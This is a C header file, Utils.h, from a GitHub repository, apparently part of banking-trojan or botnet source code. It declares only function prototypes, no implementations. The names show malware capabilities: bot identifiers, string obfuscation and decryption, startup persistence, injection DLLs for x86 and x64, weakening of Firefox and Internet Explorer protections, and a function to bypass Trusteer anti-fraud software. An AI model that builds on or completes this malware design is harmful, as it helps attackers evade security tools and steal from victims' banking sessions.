-
Notifications
You must be signed in to change notification settings - Fork 394
/
Utils.h
26 lines (24 loc) · 966 Bytes
/
Utils.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#pragma once
#include "Common.h"
#define BOT_ID_LEN 35
void GetBotId(char *botId);
void Obfuscate(BYTE *buffer, DWORD bufferSize, char *key);
char *Utf16toUtf8(wchar_t *utf16);
wchar_t *Utf8toUtf16(char *utf8);
char *UnEnc(char *enc, char *key, DWORD encLen);
void GetInstallPath(char *installPath);
BOOL GetUserSidStr(PCHAR *sidStr);
HANDLE NtRegOpenKey(PCHAR subKey);
void SetStartupValue(char *path);
BOOL VerifyPe(BYTE *pe, DWORD peSize);
BOOL IsProcessX64(HANDLE hProcess);
void *Alloc(size_t size);
void *AllocZ(size_t size);
void *ReAlloc(void *mem, size_t size);
DWORD GetPidExplorer();
void SetFirefoxPrefs();
void DisableMultiProcessesAndProtectedModeIe();
void GetDlls(BYTE **x86, BYTE **x64, BOOL update);
void GetTempPathBotPrefix(char *path);
DWORD BypassTrusteer(PROCESS_INFORMATION *processInfo, char *browserPath, char *browserCommandLine);
void CopyDir(char *from, char *to);